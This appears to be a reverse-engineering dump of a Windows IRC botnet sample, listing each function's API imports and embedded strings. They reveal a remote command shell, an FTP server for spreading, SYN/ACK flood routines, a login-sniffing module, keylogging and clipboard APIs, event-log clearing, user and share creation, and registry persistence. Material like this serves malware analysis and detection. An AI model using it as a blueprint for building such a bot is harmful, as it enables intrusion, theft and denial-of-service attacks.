sub_433970(5012):
	"inittime.c"

sub_4290B0(5077):
	KERNEL32.GetCPInfo

sub_41D6B0(512b):
	KERNEL32.HeapValidate

sub_41BF80(5171):
	"_CrtCheckMemory()"
	"dbgheap.c"
	"Client hook allocation failure at file "...
	"Client hook allocation failure.\n"
	"%s"
	"Invalid allocation size: %u bytes.\n"
	"Error: memory	allocation: bad	memory bl"...
	"%s"

sub_437B80(5210):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_439920(53c9):
	KERNEL32.GetLocaleInfoW
	KERNEL32.GetLocaleInfoA
	KERNEL32.WideCharToMultiByte

sub_50A1C7(53f1):
	KERNEL32.GetFullPathNameA

sub_424080(541f):
	NTDLL.RtlAllocateHeap

sub_4FCA80(547a):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte

sub_4110D4(550e):
	WS2_32.select
	WS2_32.closesocket
	KERNEL32.ExitThread
	WS2_32.recv
	WS2_32.getpeername
	WS2_32.WSAGetLastError
	WS2_32.gethostbyaddr
	WS2_32.inet_ntoa
	WS2_32.send
	NTDLL.RtlGetLastWin32Error

	"Permission denied\n"

sub_4314E0(567a):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.GetFileType

sub_4FF036(579e):
	NTDLL.RtlEnterCriticalSection

sub_41D1D0(57e1):
	"_heapchk fails with _HEAPBADBEGIN.\n"
	"%s"
	"_heapchk fails with _HEAPBADNODE.\n"
	"%s"
	"_heapchk fails with _HEAPBADEND.\n"
	"%s"
	"_heapchk fails with _HEAPBADPTR.\n"
	"%s"
	"_heapchk fails with unknown return valu"...
	"%s"
	"DAMAGE: before %hs block (#%d) at 0x%08"...
	"DAMAGE: after	%hs block (#%d)	at 0x%08X"...
	"DAMAGE: on top of Free block at 0x%08X."...
	"%hs allocated	at file	%hs(%d).\n"
	"%hs located at 0x%08X	is %u bytes long."...

sub_4132FC(5910):
	KERNEL32.GetTickCount
	KERNEL32.ExitThread

sub_417606(594b):
	KERNEL32.ExitThread

sub_50AEAA(5973):
	NTDLL.RtlRestoreLastWin32Error
	KERNEL32.WideCharToMultiByte

sub_417345(5b85):
	KERNEL32.GetDiskFreeSpaceExA

sub_508401(5c73):
	USER32.ChangeDisplaySettingsA
	USER32.MessageBoxA
	KERNEL32.GetCurrentProcess
	KERNEL32.TerminateProcess

sub_435140(5ca0):
	KERNEL32.EnumSystemLocalesA

sub_424DE0(5f2d):
	KERNEL32.VirtualAlloc

sub_50B2B0(60d0):
	KERNEL32.CreateFileA

sub_41F470(6240):
	KERNEL32.DeleteFileA
	NTDLL.RtlGetLastWin32Error

sub_419479(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_434620(642b):
	"initmon.c"

sub_41771E(6505):
	KERNEL32.GetTickCount
	KERNEL32.CreatePipe

sub_50B51C(65b5):
	KERNEL32.MapViewOfFile

sub_420D80(65cd):
	KERNEL32.GetLocalTime
	KERNEL32.GetSystemTime
	KERNEL32.GetTimeZoneInformation

sub_508864(664d):
	KERNEL32.LocalFree

sub_50B582(66b9):
	"OpenFile"

sub_50B3FC(66f1):
	KERNEL32.ReadFile
	KERNEL32.SetEvent

sub_427100(6774):
	"_filbuf.c"

sub_417A3E(6944):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

	"WINLOGON"
	"NWGINA"
	"MSGINA"

sub_509789(6b20):
	KERNEL32.GetModuleHandleA

	"CoCreateInstanceEx"

sub_43B420(6ba7):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.WideCharToMultiByte
	KERNEL32.MultiByteToWideChar

sub_40EAA5(6bb8):
	WS2_32.recv

sub_40E9ED(6bfa):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.closesocket

sub_5058CF(6d46):
	KERNEL32.GetModuleFileNameA
	KERNEL32.LoadLibraryA
	KERNEL32.GetModuleHandleA
	NTDLL.RtlGetLastWin32Error
	NTDLL.RtlRestoreLastWin32Error
	KERNEL32.FreeLibrary

sub_411995(6d7f):
	KERNEL32.GenerateConsoleCtrlEvent
	WS2_32.send
	KERNEL32.WriteFile
	WS2_32.recv

sub_508A16(6dca):
	KERNEL32.GetCurrentProcessId

	"MBX@"
	".###"

sub_41181E(6ddc):
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	NTDLL.RtlGetLastWin32Error

	"cmd /q"

sub_429AC0(6ed7):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_416788(6f0c):
	WS2_32.socket
	WS2_32.htons
	WS2_32.bind
	WS2_32.getsockname
	WS2_32.listen
	WS2_32.inet_addr
	WS2_32.htonl
	WS2_32.select
	WS2_32.accept
	WS2_32.closesocket
	WS2_32.send
	WS2_32.recv
	WS2_32.inet_ntoa
	KERNEL32.ExitThread

sub_414F53(6f5f):
	KERNEL32.ExitThread

sub_4FFA93(6fa7):
	NTDLL.RtlLeaveCriticalSection

sub_418115(701d):
	WS2_32.send

	"PING"
	"PONG	%s\n"
	"433"
	"432"
	"NICK	%s\n"

sub_428EE0(7112):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TlsGetValue
	KERNEL32.TlsSetValue
	KERNEL32.GetCurrentThreadId
	NTDLL.RtlRestoreLastWin32Error

	"tidtable.c"

sub_418428(7166):
	"-|`_\\{[]}"
	"-|`_\\{[]}"
	"-|`_\\{[]}"
	"-|`_\\{[]}"

sub_5090EF(71de):
	KERNEL32.GetModuleFileNameA

sub_505BD7(7254):
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.VirtualProtect

sub_411CB2(729a):
	WS2_32.select
	WS2_32.closesocket
	KERNEL32.ExitThread
	WS2_32.recv
	WS2_32.send
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.connect

sub_500421(72be):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.SetFilePointer
	NTDLL.RtlRestoreLastWin32Error

sub_50918E(7308):
	"--	backtrace --"
	"   %s"
	"   %s"
	"   ... opss, broken by SEH"
	"--stack--"
	"0x%08x: 0x%08x 0x%08x	0x%08x 0x%08x"
	"   ... opss, broken by SEH"

sub_439F20(734a):
	KERNEL32.SetEnvironmentVariableA

sub_42E470(7430):
	"_"
	"."

sub_422DE0(744e):
	"_freebuf.c"

sub_507494(75a3):
	KERNEL32.GetModuleHandleA
	KERNEL32.WriteProcessMemory
	KERNEL32.GetCurrentProcessId
	USER32.wsprintfA

	"MBX@%X@*.###"
	"kernel32.dll"
	"GetTempPathA"
	"SetCurrentDirectoryA"
	"GetCurrentDirectoryA"
	"FindFirstFileA"
	"DeleteFileA"
	"FindClose"
	"GetExitCodeProcess"
	"WaitForSingleObject"
	"ExitProcess"
	"OpenProcess"
	"Sleep"
	"CloseHandle"

sub_4FFCA7(760a):
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.CloseHandle

sub_50D7AC(76fe):
	"oversubscribed distance tree"
	"incomplete distance tree"
	"empty distance tree with	lengths"
	"oversubscribed literal/length tree"
	"incomplete literal/length tree"

sub_40C049(7709):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

sub_4153D2(772a):
	WS2_32.connect
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.getsockopt

sub_500317(7733):
	NTDLL.RtlLeaveCriticalSection

sub_4144AD(774d):
	WS2_32.gethostname
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.setsockopt
	KERNEL32.GetTickCount
	WS2_32.htons
	WS2_32.sendto
	WS2_32.closesocket

sub_42F8F0(77d3):
	KERNEL32.GetEnvironmentStringsW
	KERNEL32.GetEnvironmentStrings
	KERNEL32.WideCharToMultiByte
	KERNEL32.FreeEnvironmentStringsW
	KERNEL32.FreeEnvironmentStringsA

sub_50A9EC(77d9):
	KERNEL32.GetFileSize

sub_41A6A9(7918):
	KERNEL32.MultiByteToWideChar

sub_4FF252(794a):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetFullPathNameA
	USER32.CharUpperBuffA
	NTDLL.RtlRestoreLastWin32Error

sub_500216(7988):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.CreateFileA

sub_412C1F(79f8):
	"Bot	sniff"
	"#0#"
	"[PSNIFF]:"
	"PSNIFF//"
	"JOIN	#"
	"302 "
	"366 "
	":.login"
	":!login"
	":!Login"
	":.Login"
	":.ident"
	":!ident"
	":.hashin"
	":!hashin"

sub_413F6A(79fd):
	WS2_32.htons
	WS2_32.socket
	WS2_32.ioctlsocket
	WS2_32.connect
	KERNEL32.Sleep
	WS2_32.closesocket

sub_50A334(7ad9):
	KERNEL32.FindFirstFileA

sub_50D3A6(7b22):
	"oversubscribed dynamic bit lengths tree"...
	"incomplete dynamic bit lengths tree"

sub_50A7DD(7be1):
	KERNEL32.WideCharToMultiByte
	KERNEL32.GetFileAttributesW

sub_42EC50(7c74):
	KERNEL32.LCMapStringW
	KERNEL32.LCMapStringA
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte

sub_4384E0(7d08):
	"am/pm"
	"a/p"

sub_42E310(7d34):
	"_.,"

sub_4FDDD0(7dab):
	KERNEL32.GetModuleHandleA
	KERNEL32.RaiseException
	KERNEL32.InitializeCriticalSection

	"kernel32.dll"

sub_50971C(7e34):
	USER32.wsprintfA

	"CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"...

sub_40B075(7e76):
	KERNEL32.GetTickCount

sub_424CD0(7fc5):
	NTDLL.RtlReAllocateHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	NTDLL.RtlFreeHeap

sub_4FC060(808e):
	NTDLL.RtlLeaveCriticalSection

sub_426C90(816e):
	KERNEL32.GetVersionExA
	KERNEL32.GetEnvironmentVariableA

	"__MSVCRT_HEAP_SELECT"
	"__GLOBAL_HEAP_SELECTED"

sub_4FCDBF(81be):
	KERNEL32.GetStringTypeW
	KERNEL32.GetStringTypeA
	KERNEL32.MultiByteToWideChar

sub_500858(81d2):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetFileInformationByHandle

sub_50B711(824c):
	"_lread"

sub_4146C8(8291):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.setsockopt
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.closesocket

	"syn"
	"ack"
	"random"

sub_500346(82d2):
	KERNEL32.CreateFileA
	KERNEL32.SetFilePointer

sub_50B677(842b):
	"_lclose"

sub_416541(8474):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.connect
	WS2_32.closesocket

sub_418048(8474):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.connect
	WS2_32.closesocket

sub_418CE5(84d5):
	USER32.FindWindowA
	USER32.SendMessageA

	"mIRC"
	"mIRC"

sub_509BEB(862e):
	KERNEL32.GetModuleHandleA
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress

sub_422D30(86d7):
	NTDLL.RtlGetLastWin32Error

sub_40B919(8732):
	"%s %s	stopped. (%d thread(s) stopped.)"
	"%s No	%s thread found."

sub_40C611(8768):
	WS2_32.socket
	WS2_32.htons
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket

sub_4224D0(880a):
	NTDLL.RtlLeaveCriticalSection

sub_422460(880a):
	NTDLL.RtlEnterCriticalSection

sub_50A4AA(8869):
	KERNEL32.WideCharToMultiByte
	KERNEL32.MultiByteToWideChar

	"FindFirstFileExW"

sub_401300(88b7):
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.Sleep
	KERNEL32.GetSystemDirectoryA
	KERNEL32.CreateProcessA

sub_40F2F1(891f):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.htons
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 StnyFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 StnyFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"ftp transfer started to: %s"
	"226 Transfer complete.\n"
	"ftp transfer complete	to: %s"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_41AAA5(8931):
	KERNEL32.ExitThread

sub_419B93(893c):
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"

sub_435530(8a36):
	KERNEL32.EnumSystemLocalesA

sub_420730(8af0):
	NTDLL.RtlUnwind

sub_4FC454(8af0):
	NTDLL.RtlUnwind

sub_4FC216(8b92):
	USER32.GetWindowThreadProcessId
	KERNEL32.GetCurrentProcessId
	USER32.DestroyWindow
	USER32.SetActiveWindow
	USER32.SetForegroundWindow

sub_4359D0(8c7e):
	KERNEL32.GetLocaleInfoA

	"040a"
	"1252"

sub_401000(8c91):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

	"Windows Service Agent"

sub_432FE0(8cb0):
	KERNEL32.IsBadCodePtr

sub_4FE2E0(8cb2):
	KERNEL32.GetModuleHandleA
	KERNEL32.RaiseException
	KERNEL32.GetProcAddress
	KERNEL32.LoadLibraryA

	"kernel32.dll"
	"CloseHandle"
	"CreateFileA"
	"CreateFileW"
	"CreateFileMappingA"
	"CreateFileMappingW"
	"CreateProcessA"
	"DebugBreak"
	"DeleteFileA"
	"EnterCriticalSection"
	"ExitProcess"
	"FindClose"
	"FindFirstFileA"
	"FlushFileBuffers"
	"FormatMessageA"
	"FreeLibrary"
	"GetCurrentProcess"
	"GetCurrentProcessId"
	"GetEnvironmentVariableA"
	"GetExitCodeProcess"
	"GetFileAttributesA"
	"GetFileAttributesW"
	"GetFileInformationByHandle"
	"GetFileSize"
	"GetFileTime"
	"GetFullPathNameA"
	"GetFullPathNameW"
	"GetLastError"
	"GetModuleFileNameA"
	"GetModuleHandleA"
	"GetPrivateProfileIntA"
	"GetPrivateProfileSectionNamesA"
	"GetPrivateProfileStringA"
	"GetProcAddress"
	"GetSystemTimeAsFileTime"
	"GetTempFileNameA"
	"GetTempPathA"
	"GetTickCount"
	"HeapAlloc"
	"HeapFree"
	"HeapCreate"
	"InitializeCriticalSection"
	"DeleteCriticalSection"
	"LeaveCriticalSection"
	"LoadLibraryA"
	"LoadLibraryExA"
	"LocalAlloc"
	"LocalFree"
	"LockFile"
	"MultiByteToWideChar"
	"OpenProcess"
	"RaiseException"
	"ReadFile"
	"SetEnvironmentVariableA"
	"SetEvent"
	"SetFilePointer"
	"SetLastError"
	"SetUnhandledExceptionFilter"
	"Sleep"
	"TerminateProcess"
	"UnlockFile"
	"UnmapViewOfFile"
	"VirtualAlloc"
	"VirtualFree"
	"VirtualProtect"
	"VirtualQuery"
	"WaitForSingleObject"
	"WideCharToMultiByte"
	"WriteFile"
	"lstrcmpiA"
	"user32.dll"
	"ChangeDisplaySettingsA"
	"CharUpperBuffA"
	"LoadImageA"
	"wsprintfA"
	"wvsprintfA"
	"gdi32.dll"
	"AddFontResourceA"
	"CreateCompatibleDC"
	"CreateDIBSection"
	"DeleteDC"
	"RemoveFontResourceA"
	"BeginPaint"
	"EndPaint"
	"GetObjectA"
	"SelectObject"
	"DeleteObject"
	"BitBlt"
	"GetWindowThreadProcessId"
	"SetActiveWindow"
	"SetForegroundWindow"
	"RegisterClassExA"
	"GetSystemMetrics"
	"CreateWindowExA"
	"GetMessageA"
	"TranslateMessage"
	"DispatchMessageA"
	"DestroyWindow"
	"EnumWindows"
	"DefWindowProcA"
	"PostMessageA"
	"CreateThread"

sub_4197F6(8cdb):
	KERNEL32.WideCharToMultiByte

sub_415BEC(8d42):
	KERNEL32.ExitThread

sub_430140(8e13):
	NTDLL.RtlDeleteCriticalSection

sub_418CAA(8e50):
	USER32.OpenClipboard
	USER32.GetClipboardData
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
	USER32.CloseClipboard

sub_4241B0(8e8a):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_431130(8e9f):
	KERNEL32.FlushFileBuffers
	NTDLL.RtlGetLastWin32Error

sub_41FF30(8f05):
	"string !=	NULL"
	"sscanf.c"
	"format !=	NULL"
	"sscanf.c"

sub_433090(8ff4):
	KERNEL32.GetTimeZoneInformation
	KERNEL32.WideCharToMultiByte

	"TZ"
	"tzset.c"

sub_414103(9056):
	WS2_32.WSAStartup
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.htons
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.closesocket
	WS2_32.WSACleanup
	WS2_32.WSAGetLastError

sub_501177(906d):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.ReadFile

sub_423280(92b5):
	KERNEL32.InitializeCriticalSection
	NTDLL.RtlEnterCriticalSection

	"mlock.c"

sub_41992C(935d):
	ADVAPI32.IsValidSecurityDescriptor

	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_40D24D(94d6):
	"�B�B�B�B"
	"CCCC"

sub_413B2B(953e):
	IPHLPAPI.IcmpCreateFile
	WS2_32.inet_addr
	WS2_32.gethostbyname
	KERNEL32.ExitThread
	IPHLPAPI.IcmpSendEcho
	IPHLPAPI.IcmpCloseHandle

sub_41B147(963b):
	KERNEL32.GetTickCount

sub_40D622(981b):
	WS2_32.htonl
	WS2_32.send

sub_509DD4(98ab):
	KERNEL32.InitializeCriticalSection
	KERNEL32.GetModuleHandleA

sub_41E920(994a):
	KERNEL32.GetCurrentProcess
	KERNEL32.TerminateProcess

sub_421620(9a33):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_4124E6(9a38):
	KERNEL32.GetLocalTime
	KERNEL32.GetSystemDirectoryA

	"[%d-%d-%d %d:%d:%d] %s\r\n"

sub_50AB3D(9a6d):
	KERNEL32.WideCharToMultiByte
	KERNEL32.MultiByteToWideChar

	"kernel32"
	"GetLongPathNameW"

sub_508726(9a73):
	USER32.wvsprintfA
	USER32.wsprintfA

	"\r\n"

sub_416B2D(9b58):
	KERNEL32.GetSystemDirectoryA
	WS2_32.recv
	WS2_32.htonl
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

	"a+b"

sub_41A0D7(9bb4):
	"Invalid parameter."
	"Server name not found."
	"This network request is not supported."
	"Not enough memory."
	"The name is invalid."
	"Duplicate share name."
	"Invalid for redirected resource."
	"Device or directory does not exist."
	"Level	parameter is invalid."
	"A general failure occurred in	the netwo"...
	"The operation	is allowed only	on the pr"...
	"The user account already exists."
	"The group already exists."
	"The password is shorter than required	("...
	"An unknown error occurred."
	"The computer name is invalid."
	"Share	not found."
	"The user name	could not be found."
	"Network connection not found."

sub_423320(9bd1):
	NTDLL.RtlLeaveCriticalSection

sub_5099C5(9c6a):
	"GetRecordInfoFromTypeInfo"

sub_418E8C(9dbe):
	USER32.ExitWindowsEx

	"SeShutdownPrivilege"

sub_413CB7(9dd3):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.gethostbyname
	KERNEL32.ExitThread
	WS2_32.htons
	WS2_32.sendto
	KERNEL32.Sleep

sub_4FF818(9e78):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.CloseHandle

sub_42E9D0(9e7c):
	KERNEL32.WriteFile
	NTDLL.RtlGetLastWin32Error

sub_501CC4(a0dc):
	KERNEL32.lstrcmpi

sub_4FF94C(a17e):
	NTDLL.RtlEnterCriticalSection

sub_4396D0(a18e):
	KERNEL32.WideCharToMultiByte

sub_41DF10(a1d1):
	"%.2X	"
	" Data: <%s> %s\n"

sub_425FB0(a23b):
	KERNEL32.VirtualFree

sub_42E6A0(a29e):
	"ftell.c"

sub_40D746(a2f7):
	WS2_32.send

sub_414C64(a33a):
	WS2_32.inet_addr
	KERNEL32.ExitThread

sub_41BA41(a489):
	WININET.InternetCrackUrlA
	WININET.InternetConnectA
	WININET.HttpOpenRequestA
	WININET.HttpSendRequestA
	WININET.InternetCloseHandle
	KERNEL32.ExitThread

sub_40CCE8(a5b8):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket

sub_42F3E0(a7d8):
	"C:\\m_unpacker\\packed.exe"

sub_4FF6DE(a956):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA

sub_434A80(a95f):
	KERNEL32.GetCPInfo

	"initctyp.c"
	"initctyp.c"
	"initctyp.c"
	"initctyp.c"

sub_4193D7(a9bc):
	ADVAPI32.OpenSCManagerA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.OpenServiceA
	ADVAPI32.ControlService
	ADVAPI32.StartServiceA
	ADVAPI32.DeleteService
	ADVAPI32.CloseServiceHandle

sub_409D10(aaa2):
	KERNEL32.CopyFileA
	NTDLL.RtlGetLastWin32Error
	WININET.InternetOpenA

	"kernel32.dll"
	"SetErrorMode"
	"CreateToolhelp32Snapshot"
	"Process32First"
	"GetDiskFreeSpaceExA"
	"GetLogicalDriveStringsA"
	"SearchPathA"
	"QueryPerformanceCounter"
	"QueryPerformanceFrequency"
	"RegisterServiceProcess"
	"user32.dll"
	"SendMessageA"
	"FindWindowA"
	"IsWindow"
	"GetClipboardData"
	"CloseClipboard"
	"GetAsyncKeyState"
	"GetKeyState"
	"GetWindowTextA"
	"GetForegroundWindow"
	"advapi32.dll"
	"RegCreateKeyExA"
	"RegSetValueExA"
	"RegQueryValueExA"
	"RegDeleteValueA"
	"RegCloseKey"
	"ClearEventLogA"
	"OpenProcessToken"
	"LookupPrivilegeValueA"
	"AdjustTokenPrivileges"
	"OpenSCManagerA"
	"OpenServiceA"
	"ControlService"
	"CloseServiceHandle"
	"EnumServicesStatusA"
	"IsValidSecurityDescriptor"
	"GetUserNameA"
	"gdi32.dll"
	"CreateDCA"
	"CreateDIBSection"
	"CreateCompatibleDC"
	"GetDIBColorTable"
	"SelectObject"
	"BitBlt"
	"DeleteDC"
	"DeleteObject"
	"ws2_32.dll"
	"WSAStartup"
	"WSASocketA"
	"WSAAsyncSelect"
	"__WSAFDIsSet"
	"WSAIoctl"
	"WSAGetLastError"
	"WSACleanup"
	"socket"
	"ioctlsocket"
	"connect"
	"inet_ntoa"
	"inet_addr"
	"htons"
	"htonl"
	"ntohs"
	"ntohl"
	"send"
	"sendto"
	"recv"
	"recvfrom"
	"bind"
	"select"
	"listen"
	"accept"
	"setsockopt"
	"getsockname"
	"gethostname"
	"getpeername"
	"closesocket"
	"wininet.dll"
	"InternetGetConnectedState"
	"InternetGetConnectedStateEx"
	"HttpOpenRequestA"
	"HttpSendRequestA"
	"InternetConnectA"
	"InternetOpenUrlA"
	"InternetCrackUrlA"
	"InternetReadFile"
	"InternetCloseHandle"
	"Mozilla/4.0 (compatible)"
	"icmp.dll"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"
	"netapi32.dll"
	"NetShareAdd"
	"NetShareDel"
	"NetShareEnum"
	"NetScheduleJobAdd"
	"NetApiBufferFree"
	"NetRemoteTOD"
	"NetUserAdd"
	"NetUserDel"
	"NetUserEnum"
	"NetUserGetInfo"
	"NetMessageBufferSend"
	"NetWkstaGetInfo"
	"dnsapi.dll"
	"DnsFlushResolverCache"
	"DnsFlushResolverCacheEntry_A"
	"iphlpapi.dll"
	"DeleteIpNetEntry"
	"mpr.dll"
	"WNetAddConnection2A"
	"WNetAddConnection2W"
	"WNetCancelConnection2A"
	"WNetCancelConnection2W"
	"shell32.dll"
	"SHChangeNotify"
	"odbc32.dll"
	"SQLDriverConnect"
	"SQLAllocHandle"
	"avicap32.dll"
	"capCreateCaptureWindowA"
	"capGetDriverDescriptionA"

sub_50AC66(ab2e):
	KERNEL32.GetPrivateProfileStringA

sub_500950(abc7):
	NTDLL.RtlEnterCriticalSection

sub_40A9CC(ac3c):
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
	"Avicap32.dll failed. <%d>"

sub_430B60(ad38):
	KERNEL32.InitializeCriticalSection
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection

	"osfinfo.c"

sub_4356D0(af9d):
	KERNEL32.EnumSystemLocalesA

sub_4198C8(afa1):
	KERNEL32.MultiByteToWideChar

sub_41EA60(afb7):
	"string !=	NULL"
	"sprintf.c"
	"format !=	NULL"
	"sprintf.c"

sub_5050D0(b00b):
	KERNEL32.RaiseException
	KERNEL32.GetModuleHandleA

sub_508397(b0d3):
	KERNEL32.HeapCreate

sub_410287(b203):
	WS2_32.send
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep

	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n